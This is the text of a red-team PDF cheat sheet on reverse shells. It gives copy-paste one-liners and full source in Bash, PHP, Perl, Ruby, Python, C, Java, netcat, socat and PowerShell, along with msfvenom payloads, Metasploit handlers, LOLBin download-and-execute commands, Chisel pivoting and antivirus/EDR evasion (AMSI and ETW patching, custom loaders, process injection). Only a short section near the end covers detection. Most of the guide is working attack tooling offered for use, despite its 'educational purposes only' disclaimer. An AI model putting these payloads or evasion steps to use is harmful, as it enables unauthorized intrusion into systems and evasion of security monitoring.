RTG Reverse Shells Complete Guide
RTG Reverse Shells Complete Guide
Reverse Shells
Complete Red Team Guide — Windows & Linux
Bash · PowerShell · Python · Perl · PHP · Ruby · Netcat · Socat · MSFvenom · C · Golang
[Link]
LEGAL DISCLAIMER
RTG TIP
All commands in this guide are REAL SELECTABLE TEXT — you can copy & paste directly from this PDF.
Click any command in a terminal block, select text and copy — works in Adobe Reader, Foxit, Chrome PDF, etc.
Replace IP ([Link]) with your attacker IP and PORT (4444) with your listener port before use.
RTG
© RedTeamGarage (RTG) | For Educational Purposes Only | Authorized Testing Page 1
RedTeamGarage — Offensive Security Series RedTeamGarage
RTG | OFFENSIVE SECURITY SERIES
A reverse shell is a type of shell session initiated FROM the target machine BACK to the attacker's machine — the
opposite of a bind shell where the attacker connects to the target. Reverse shells bypass firewall rules: most corporate
firewalls block inbound connections but allow outbound connections on common ports (80, 443, 53).
Common ports 443, 80, 53, 8080 Any available port on target
RTG TIP
Port 443 (HTTPS) reverse shells are hardest to detect — traffic looks like web browsing.
Set up your listener BEFORE delivering the payload — race condition otherwise.
Use encrypted shells (socat TLS, OpenSSL) when SSL inspection proxy is suspected.
Port 53 (DNS) is allowed outbound nearly everywhere — great fallback for strict firewalls.
RTG
© RedTeamGarage (RTG) | For Educational Purposes Only | Authorized Testing Page 2
RedTeamGarage — Offensive Security Series RedTeamGarage
RTG | OFFENSIVE SECURITY SERIES
Before sending any reverse shell payload, your listener must be running. The choice of listener affects shell stability,
interactivity, and encryption. This section covers all common listener setups from basic netcat to encrypted Metasploit
handlers.
Figure: All listener options — nc, rlwrap nc, socat TTY listener, pwncat-cs auto-upgrade
Metasploit Multi/Handler
attacker@kali:~ — Metasploit Handler
$ msfconsole -q
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set PAYLOAD windows/x64/shell/reverse_tcp
msf6 exploit(multi/handler) > set LHOST [Link]
msf6 exploit(multi/handler) > set LPORT 4444
msf6 exploit(multi/handler) > set ExitOnSession false
msf6 exploit(multi/handler) > exploit -j
RTG
© RedTeamGarage (RTG) | For Educational Purposes Only | Authorized Testing Page 3
RedTeamGarage — Offensive Security Series RedTeamGarage
RTG | OFFENSIVE SECURITY SERIES
RTG TIP
Always use 'set ExitOnSession false' — keeps handler alive to catch multiple shells.
Run handler as background job (-j) so you can keep using the msfconsole prompt.
For HTTPS: 'set PAYLOAD windows/x64/meterpreter/reverse_https' + port 443.
Stageless payloads (_reverse_tcp) work when firewall blocks C2 stage download.
RTG
© RedTeamGarage (RTG) | For Educational Purposes Only | Authorized Testing Page 4
RedTeamGarage — Offensive Security Series RedTeamGarage
RTG | OFFENSIVE SECURITY SERIES
Bash reverse shells use bash's built-in /dev/tcp pseudo-device to establish a TCP connection and redirect
stdin/stdout/stderr over it. Multiple variants exist for different restriction levels.
Figure: Bash /dev/tcp — 7 variants including UDP, IFS-encoded WAF bypass, sh-compatible fallback
bash-5.1$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
bash-5.1$ whoami
www-data
bash-5.1$ hostname
victim-web-server
bash-5.1$ uname -a
Linux victim-web-server 5.15.0-91-generic #101-Ubuntu SMP x86_64 GNU/Linux
bash-5.1$ ip a | grep inet
inet [Link]/8 scope host lo
inet [Link]/24 brd [Link] scope global eth0
bash-5.1$ cat /etc/passwd | head -3
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
Figure: Attacker receives bash shell — id, whoami, hostname, uname, network info all confirmed
RTG
© RedTeamGarage (RTG) | For Educational Purposes Only | Authorized Testing Page 5
RedTeamGarage — Offensive Security Series RedTeamGarage
RTG | OFFENSIVE SECURITY SERIES
LINUX
/dev/tcp is a bash builtin — it opens a real TCP socket, no file is created on disk.
If bash is restricted: 'sh -i >& /dev/tcp/IP/PORT 0>&1' works in sh, dash, ash too.
'0>&1' redirects stdin from the same fd as stdout — completing the bidirectional pipe.
UDP variant (Var 5) bypasses TCP-only egress filters but is unreliable on lossy networks.
RTG
© RedTeamGarage (RTG) | For Educational Purposes Only | Authorized Testing Page 6
RedTeamGarage — Offensive Security Series RedTeamGarage
RTG | OFFENSIVE SECURITY SERIES
Python reverse shells use the socket module for TCP connection and subprocess/pty to spawn an interactive shell.
Python 3 is the standard now. Available on Linux servers, Windows (installed), and WSL.
Python3 — Linux
target@victim:~$ — Python3 Linux
Figure: Python3 socket reverse shell with [Link] for interactive TTY — Linux variants
Python3 — Windows
CORP\victim@WIN10 — Python3 Windows
C:\Users\victim> whoami
CORP\victim
C:\Users\victim> systeminfo | findstr /B /C:"OS Name"
OS Name: Microsoft Windows 10 Pro
Figure: Python3 reverse shell on Windows — attacker receives [Link] with domain user context
RTG
© RedTeamGarage (RTG) | For Educational Purposes Only | Authorized Testing Page 7
RedTeamGarage — Offensive Security Series RedTeamGarage
RTG | OFFENSIVE SECURITY SERIES
RTG NOTE
[Link]('/bin/bash') gives you a real PTY immediately — best Python shell method.
On Windows: '[Link](["[Link]"])' more stable than 'shell=True'.
If python3 not in PATH: try 'py -3', 'python', or full path C:\Python3\[Link].
Python2 one-liner: replace '[Link]()' — syntax identical but use print not print().
RTG
© RedTeamGarage (RTG) | For Educational Purposes Only | Authorized Testing Page 8
RedTeamGarage — Offensive Security Series RedTeamGarage
RTG | OFFENSIVE SECURITY SERIES
Figure: Perl reverse shells — IO::Socket Linux, /bin/bash exec method, Windows [Link] variant
LINUX
RTG
© RedTeamGarage (RTG) | For Educational Purposes Only | Authorized Testing Page 9
RedTeamGarage — Offensive Security Series RedTeamGarage
RTG | OFFENSIVE SECURITY SERIES
PHP reverse shells are critical for web exploitation — file upload vulns, LFI/RFI, deserialization. PHP's exec(),
shell_exec(), passthru(), system(), and proc_open() all provide code execution pathways.
PHP One-Liners
target@victim:/var/www/html$ — PHP Reverse Shell
# Method 2: shell_exec
php -r '$sock=fsockopen("[Link]",4444);shell_exec("/bin/sh -i <&3 >&3 2>&3");'
# Method 4: popen
php -r '$sock=fsockopen("[Link]",4444);popen("/bin/sh -i <&3 >&3 2>&3","r");'
# Or via curl
$ curl '[Link]
Figure: PHP reverse shells — exec/shell_exec/passthru/popen one-liners; webshell trigger via URL
RTG
© RedTeamGarage (RTG) | For Educational Purposes Only | Authorized Testing Page 10
RedTeamGarage — Offensive Security Series RedTeamGarage
RTG | OFFENSIVE SECURITY SERIES
<?php
set_time_limit(0);
$ip = '[Link]'; // CHANGE: Your attacker IP
$port = 4444; // CHANGE: Your listener port
$chunk_size = 1400;
$shell = 'uname -a; w; id; /bin/sh -i';
// ... (full shell — download from [Link]/pentestmonkey/php-reverse-shell)
?>
Figure: PentestMonkey PHP shell upload + trigger — www-data shell received on listener
RTG WARNING
RTG
© RedTeamGarage (RTG) | For Educational Purposes Only | Authorized Testing Page 11
RedTeamGarage — Offensive Security Series RedTeamGarage
RTG | OFFENSIVE SECURITY SERIES
Figure: Ruby TCPSocket reverse shells — Linux fork+exec and simple exec; Windows [Link] variant
RTG NOTE
Ruby's 'exit if fork' creates a daemon — shell survives parent process dying.
Ruby is default on macOS and available via rbenv/RVM on Linux.
Use 'ruby -rsocket' to import socket library without a separate require statement.
For Windows: replace '/bin/bash -i' with '[Link]' in exec() call.
RTG
© RedTeamGarage (RTG) | For Educational Purposes Only | Authorized Testing Page 12
RedTeamGarage — Offensive Security Series RedTeamGarage
RTG | OFFENSIVE SECURITY SERIES
Figure: Netcat shells — nc -e, mkfifo (most portable), named pipe, Windows [Link]; all methods shown
RTG OPSEC
mkfifo method works on ANY netcat version — use this as your default Linux approach.
Check nc version: 'nc -h 2>&1' — if you see '-e cmd' then GNU netcat or ncat is available.
[Link] not on Windows by default — upload via certutil, BITSAdmin, or PowerShell WebClient.
Ncat (from nmap) supports TLS: 'ncat --ssl -e /bin/bash IP PORT' — encrypted shell.
RTG
© RedTeamGarage (RTG) | For Educational Purposes Only | Authorized Testing Page 13
RedTeamGarage — Offensive Security Series RedTeamGarage
RTG | OFFENSIVE SECURITY SERIES
Figure: Socat full PTY, TLS-encrypted shell on 443, and Windows [Link] variant — all commands copy-pasteable
RTG TIP
Socat full TTY = best non-C2 shell — arrow keys, tab complete, Ctrl+C work perfectly.
If socat not on target: transfer static binary (socat static builds widely available).
Encrypted socat on port 443 = nearly indistinguishable from legitimate HTTPS traffic.
Windows: [Link] TCP:IP:PORT EXEC:[Link],pipes — same concept, different shell.
RTG
© RedTeamGarage (RTG) | For Educational Purposes Only | Authorized Testing Page 14
RedTeamGarage — Offensive Security Series RedTeamGarage
RTG | OFFENSIVE SECURITY SERIES
Figure: PowerShell TCPClient reverse shell — full readable version and one-liner; attacker receives PS prompt
RTG
© RedTeamGarage (RTG) | For Educational Purposes Only | Authorized Testing Page 15
RedTeamGarage — Offensive Security Series RedTeamGarage
RTG | OFFENSIVE SECURITY SERIES
Figure: Nishang Invoke-PowerShellTcp + AMSI bypass; base64 encoding workflow on Linux attacker side
WINDOWS
Always use '-nop -noni -w hidden' — suppresses profile loading and hides PS window.
Base64 encode with iconv UTF-16LE (Windows uses UTF-16LE for PowerShell encoding).
AMSI bypass patches work but EDR behavioral detection may still trigger on the patch.
Best evasion: Nim/Go custom loader + XOR shellcode, not raw PowerShell strings.
RTG
© RedTeamGarage (RTG) | For Educational Purposes Only | Authorized Testing Page 16
RedTeamGarage — Offensive Security Series RedTeamGarage
RTG | OFFENSIVE SECURITY SERIES
Figure: Windows LOLBin shells — MSHTA HTA, CertUtil download+exec, BITSAdmin, Regsvr32 squiblydoo, WMIC XSL
WINDOWS
MSHTA bypasses AppLocker in many configs — HTA runs outside PowerShell restrictions.
CertUtil is heavily monitored by EDR — prefer BITSAdmin or WebClient for stealthier DL.
Regsvr32 squiblydoo still bypasses application whitelisting on many enterprise configs.
Combine LOLBin download with encoded PowerShell for full in-memory execution chain.
RTG
© RedTeamGarage (RTG) | For Educational Purposes Only | Authorized Testing Page 17
RedTeamGarage — Offensive Security Series RedTeamGarage
RTG | OFFENSIVE SECURITY SERIES
12 MSFVENOM PAYLOADS
Staged & Stageless — Every Platform
# Android APK
msfvenom -p android/meterpreter/reverse_tcp LHOST=[Link] LPORT=4444 -o [Link]
Figure: MSFvenom generating Windows EXE/DLL/PS, Linux ELF, Android APK and C shellcode payloads
RTG OPSEC
Add '-e x64/xor_dynamic -i 5' for basic encoding — reduces AV detection slightly.
Best AV evasion: use msfvenom shellcode + custom Go/Nim loader rather than raw EXE.
Stageless payloads (_reverse_tcp not /reverse_tcp) work when C2 stage download blocked.
For HTTPS: set up Metasploit with a real SSL cert — self-signed triggers some AV products.
RTG
© RedTeamGarage (RTG) | For Educational Purposes Only | Authorized Testing Page 18
RedTeamGarage — Offensive Security Series RedTeamGarage
RTG | OFFENSIVE SECURITY SERIES
RTG OPSEC
'-ldflags -s -w' strips debug info and symbols — reduces binary size and AV detection.
Go binaries are fully self-contained — no runtime dependencies on target system.
For Windows: change '/bin/bash' to '[Link]' in [Link].
UPX pack for smaller binary: 'upx --best [Link]' (note: some AV flags UPX headers).
RTG
© RedTeamGarage (RTG) | For Educational Purposes Only | Authorized Testing Page 19
RedTeamGarage — Offensive Security Series RedTeamGarage
RTG | OFFENSIVE SECURITY SERIES
C — Linux
attacker@kali:~ — C Linux Reverse Shell
// reverse_shell_linux.c
#include <stdio.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
int main(void) {
int s;
struct sockaddr_in sa;
sa.sin_family = AF_INET;
sa.sin_port = htons(4444);
sa.sin_addr.s_addr = inet_addr("[Link]");
s = socket(AF_INET, SOCK_STREAM, 0);
connect(s, (struct sockaddr*)&sa, sizeof(sa));
dup2(s, 0); dup2(s, 1); dup2(s, 2);
execve("/bin/bash", 0, 0);
}
# Execute
./shell
Figure: C reverse shell Linux — socket/connect/dup2/execve; static compile for dependency-free execution
C — Windows (WinSock2)
RTG
© RedTeamGarage (RTG) | For Educational Purposes Only | Authorized Testing Page 20
RedTeamGarage — Offensive Security Series RedTeamGarage
RTG | OFFENSIVE SECURITY SERIES
Figure: C WinSock2 reverse shell for Windows — CreateProcess [Link]; cross-compiled on Linux with mingw
RTG
© RedTeamGarage (RTG) | For Educational Purposes Only | Authorized Testing Page 21
RedTeamGarage — Offensive Security Series RedTeamGarage
RTG | OFFENSIVE SECURITY SERIES
Java
target@victim:~$ — Java Reverse Shell
// [Link]
import [Link].*;
import [Link].*;
public class ReverseShell {
public static void main(String[] a) throws Exception {
String host = "[Link]"; int port = 4444;
Process p = [Link]().exec("/bin/bash");
Socket s = new Socket(host, port);
InputStream pi = [Link](), si = [Link]();
OutputStream po = [Link](), so = [Link]();
while (![Link]()) {
while ([Link]()>0) [Link]([Link]());
while ([Link]()>0) [Link]([Link]());
[Link](); [Link](); [Link](50);
try { if ([Link]()>=0) break; } catch(Exception e){}
}
}
}
# Compile and run
javac [Link] && java ReverseShell
Figure: Java reverse shell — [Link] + Socket I/O bridge; useful for Java app RCE (Struts, Spring, Log4Shell)
Figure: Groovy reverse shell via Jenkins Script Console — jenkins user shell; critical in CI/CD pivoting
[Link]
RTG
© RedTeamGarage (RTG) | For Educational Purposes Only | Authorized Testing Page 22
RedTeamGarage — Offensive Security Series RedTeamGarage
RTG | OFFENSIVE SECURITY SERIES
Figure: [Link] net module reverse shell — one-liner and multi-line version; useful for SSJI and Node app RCE
RTG
© RedTeamGarage (RTG) | For Educational Purposes Only | Authorized Testing Page 23
RedTeamGarage — Offensive Security Series RedTeamGarage
RTG | OFFENSIVE SECURITY SERIES
# Lua
lua -e "require('socket');t=require('socket').tcp();t:connect('[Link]','4444');[Link]('/bin/sh
-i <&3 >&3 2>&3');"
# Telnet (two listeners needed: 4444 for input, 4445 for output)
telnet [Link] 4444 | /bin/bash | telnet [Link] 4445
# On attacker: nc -lvnp 4444 AND nc -lvnp 4445
# wget to bash
wget -qO- [Link] | bash
Figure: AWK, Lua, Telnet, xterm, curl|bash, vim, busybox nc — fallbacks when standard tools are blocked
RTG
© RedTeamGarage (RTG) | For Educational Purposes Only | Authorized Testing Page 24
RedTeamGarage — Offensive Security Series RedTeamGarage
RTG | OFFENSIVE SECURITY SERIES
# Attacker listener
ncat --ssl -lvnp 443
# Target
ncat --ssl [Link] 443 -e /bin/bash
Figure: OpenSSL TLS shell, ncat --ssl, stunnel Windows wrapper — all traffic encrypted on port 443
RTG OPSEC
RTG
© RedTeamGarage (RTG) | For Educational Purposes Only | Authorized Testing Page 25
RedTeamGarage — Offensive Security Series RedTeamGarage
RTG | OFFENSIVE SECURITY SERIES
18 BIND SHELLS
When Reverse Shells Are Blocked — Target Listens, Attacker Connects
Figure: Bind shell variants — nc mkfifo, Python, socat, Windows [Link] and PowerShell; attacker connects inbound
RTG
© RedTeamGarage (RTG) | For Educational Purposes Only | Authorized Testing Page 26
RedTeamGarage — Offensive Security Series RedTeamGarage
RTG | OFFENSIVE SECURITY SERIES
19 SHELL UPGRADING
Dumb Shell to Fully Interactive TTY — Essential Post-Exploitation
Figure: Python PTY upgrade workflow — [Link], stty raw -echo, fg; pwncat-cs handles it automatically
RTG TIP
pwncat-cs (pip install pwncat-cs) is best — auto TTY upgrade, built-in file transfer, persistence.
CRITICAL: 'stty raw -echo' is irreversible if wrong — have 'reset' command ready as recovery.
Always set TERM and stty size after upgrade — prevents scroll/display glitches.
Check your terminal size with 'stty size' before setting on target — dimensions must match.
RTG
© RedTeamGarage (RTG) | For Educational Purposes Only | Authorized Testing Page 27
RedTeamGarage — Offensive Security Series RedTeamGarage
RTG | OFFENSIVE SECURITY SERIES
AMSI Bypass Windows AMSI scanner Patch amsiInitFailed via reflection Medium
In-Memory Execution Disk AV scanning PowerShell IEX (no file drop) Low
Custom Go/Nim Loader Most AV engines Wrap shellcode in custom binary Low
Process Injection Behavioral EDR Inject into legit process (explorer) Low-Med
Staged Payload Static AV scan Tiny stager fetches payload in RAM Low
Figure: AMSI bypass + base64 PS encoding; Go custom loader concept for superior AV evasion
RTG OPSEC
AMSI patches are well-known — EDR behavioral detection may still trigger on the patch itself.
Best evasion chain: Go/Nim loader + XOR-encrypted shellcode + process injection into explorer.
In-memory PowerShell IEX leaves no disk artifact — combine with AMSI bypass for best results.
ETW patching alongside AMSI bypass reduces event telemetry sent to EDR agents.
RTG
© RedTeamGarage (RTG) | For Educational Purposes Only | Authorized Testing Page 28
RedTeamGarage — Offensive Security Series RedTeamGarage
RTG | OFFENSIVE SECURITY SERIES
# === CHISEL SOCKS PROXY (route all tools through target) ===
$ ./chisel server -p 8080 --socks5 --reverse
$ ./chisel client [Link]:8080 R:socks
# Configure proxychains to use [Link]:1080
$ proxychains nmap -sV [Link]/24
Figure: Chisel HTTP tunnel, SSH port forward, socat relay; Chisel SOCKS proxy for full proxychains routing
RTG OPSEC
Chisel is the most reliable HTTP tunnel — works through corporate proxies and strict firewalls.
SSH -R is clean when you have SSH creds to a jumpbox but no direct route to attacker.
Socat relay: one command, no dependencies (beyond socat), bridges any two network segments.
Chisel SOCKS5 mode lets you run ANY tool (nmap, curl, impacket) through the target network.
RTG
© RedTeamGarage (RTG) | For Educational Purposes Only | Authorized Testing Page 29
RedTeamGarage — Offensive Security Series RedTeamGarage
RTG | OFFENSIVE SECURITY SERIES
PowerShell with -enc flag Event ID 4104 (PS Script Block Logging) PowerShell
nc/ncat with outbound connection Process + network event correlation Netcat shells
HTTPS to new/unknown host on 443 DNS + TLS SNI fingerprinting MSF HTTPS/Socat
Figure: Detection queries — bash /dev/tcp, PS encoded, webshell child process, PowerShell network anomaly
RTG
© RedTeamGarage (RTG) | For Educational Purposes Only | Authorized Testing Page 30
RedTeamGarage — Offensive Security Series RedTeamGarage
RTG | OFFENSIVE SECURITY SERIES
RTG NOTE
Enable PS Script Block Logging (Event 4104) — catches encoded and obfuscated PowerShell.
Sysmon EventID 3 (network connection) correlates process + destination IP — critical.
Auditd rule '-a always,exit -F arch=b64 -S execve' catches all process execution on Linux.
Behavioral: bash/python/perl directly creating TCP sockets = high-confidence indicator.
RTG
© RedTeamGarage (RTG) | For Educational Purposes Only | Authorized Testing Page 31
RedTeamGarage — Offensive Security Series RedTeamGarage
RTG | OFFENSIVE SECURITY SERIES
RTG TIP
REPLACE in all commands: IP = your attacker IP (e.g. [Link]) | PORT = your listener port (e.g. 4444)
For VPN/HTB/THM: use your tun0 IP not eth0. Check with: ip a show tun0 | grep inet
# PERL
perl -e 'use Socket;$i="IP";$p=PORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,
sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");
exec("/bin/bash -i")};'
# RUBY
ruby -rsocket -e 'c=[Link]("IP",PORT);$stdin=$stdout=$stderr=c;exec("/bin/bash -i")'
# AWK
awk 'BEGIN{s="/inet/tcp/0/IP/PORT";while(42){do{printf "sh>" |& s;s |& getline c;if(c){while((c |&
getline)>0)print $0 |& s;close(c)}}while(c!="exit");close(s)}}'
# GOLANG compile+run
GOOS=linux GOARCH=amd64 go build -o shell [Link] && ./shell
Figure: All Linux reverse shells — copy-paste ready. Replace IP and PORT with your values.
RTG
© RedTeamGarage (RTG) | For Educational Purposes Only | Authorized Testing Page 32
RedTeamGarage — Offensive Security Series RedTeamGarage
RTG | OFFENSIVE SECURITY SERIES
# PYTHON3 Windows
python3 -c "import socket,subprocess;s=[Link]();[Link](('IP',PORT));
[Link](['[Link]'],stdin=s,stdout=s,stderr=s)"
# MSHTA
mshta [Link]
# REGSVR32 squiblydoo
regsvr32 /s /u /n /i:[Link] [Link]
Figure: All Windows reverse shells — copy-paste ready. Replace IP and PORT with your values.
OpenSSL listener openssl s_server -quiet -key [Link] -cert [Link] -port PORT
MSF handler use exploit/multi/handler; set PAYLOAD ...; set LHOST IP; set LPORT PORT; exploit -j
TTY upgrade (Python) python3 -c 'import pty;[Link]("/bin/bash")' then Ctrl+Z → stty raw -echo → fg
TTY upgrade (script) script -qc /bin/bash /dev/null then Ctrl+Z → stty raw -echo → fg
Generate SSL cert openssl req -x509 -newkey rsa:4096 -keyout [Link] -out [Link] -days 365 -nodes -subj
'/CN=[Link]'
RTG
© RedTeamGarage (RTG) | For Educational Purposes Only | Authorized Testing Page 33
RedTeamGarage — Offensive Security Series RedTeamGarage
RTG | OFFENSIVE SECURITY SERIES
Pre-Engagement Checklist
[ ] Listener running BEFORE delivering payload (race condition if reversed)
[ ] Correct LHOST — tun0 for VPN/HTB/THM, not eth0
[ ] Port 443 or 80 chosen for stealth (not 4444 in production engagements)
[ ] Test payload locally before target delivery
[ ] TTY upgrade method planned (python/socat/pwncat) before shell arrives
[ ] Encrypted shell if SSL inspection proxy suspected
[ ] Windows vs Linux payload variant selected correctly
[ ] AV/EDR status assessed — use encoded/custom loader if AV present
[ ] Firewall egress check — if TCP blocked, try HTTP(S), DNS tunnel
[ ] Persistence planned — don't lose shell before setting foothold
RTG TIP
Port 443 + TLS encryption = hardest shell to detect, block, and inspect.
pwncat-cs handles TTY upgrade, file transfer and persistence automatically.
Fallback chain when primary fails: Bash → Python3 → nc mkfifo → PHP → Perl.
Use rlwrap nc at minimum — raw netcat gives no arrow keys or command history.
RTG
© RedTeamGarage (RTG) | For Educational Purposes Only | Authorized Testing Page 34
RedTeamGarage — Offensive Security Series RedTeamGarage
RTG | OFFENSIVE SECURITY SERIES
Telegram [Link]
LinkedIn [Link]
RTG NOTE
© RedTeamGarage (RTG). All content for educational and authorized security testing only.
RTG
© RedTeamGarage (RTG) | For Educational Purposes Only | Authorized Testing Page 35